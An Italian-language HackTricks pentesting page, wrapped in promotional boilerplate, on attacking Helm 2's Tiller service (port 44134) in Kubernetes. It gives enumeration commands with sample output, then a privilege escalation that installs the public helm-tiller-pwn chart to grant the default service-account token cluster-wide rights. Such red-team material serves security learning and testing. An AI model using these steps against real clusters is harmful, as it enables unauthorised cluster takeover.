5.3 KiB
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di github.
Informazioni di base
Helm è il gestore di pacchetti per Kubernetes. Consente di impacchettare file YAML e distribuirli in repository pubbliche e private. Questi pacchetti sono chiamati Helm Charts. Tiller è il servizio in esecuzione di default sulla porta 44134 che offre il servizio.
Porta predefinita: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumerazione
Se puoi enumerare i pod e/o i servizi di diversi namespace, elenca e cerca quelli con "tiller" nel loro nome:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Esempi:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Potresti anche provare a trovare questo servizio controllando la porta 44134:
sudo nmap -sS -p 44134 <IP>
Una volta scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi utilizzare strumenti come homebrew
, o consultare la pagina ufficiale dei rilasci. Per ulteriori dettagli o altre opzioni, consulta la guida all'installazione.
Successivamente, puoi enumerare il servizio:
helm --host tiller-deploy.kube-system:44134 version
Escalazione dei privilegi
Di default, Helm2 viene installato nel namespace kube-system con alti privilegi, quindi se trovi il servizio e hai accesso ad esso, ciò potrebbe consentirti di escalare i privilegi.
Tutto ciò che devi fare è installare un pacchetto come questo: https://github.com/Ruil1n/helm-tiller-pwn che darà all'accesso al token di servizio predefinito l'accesso a tutto il cluster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
In http://rui0.cn/archives/1573 hai la spiegazione dell'attacco, ma in sostanza, se leggi i file clusterrole.yaml e clusterrolebinding.yaml all'interno di helm-tiller-pwn/pwnchart/templates/ puoi vedere come tutti i privilegi vengono dati al token predefinito.
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.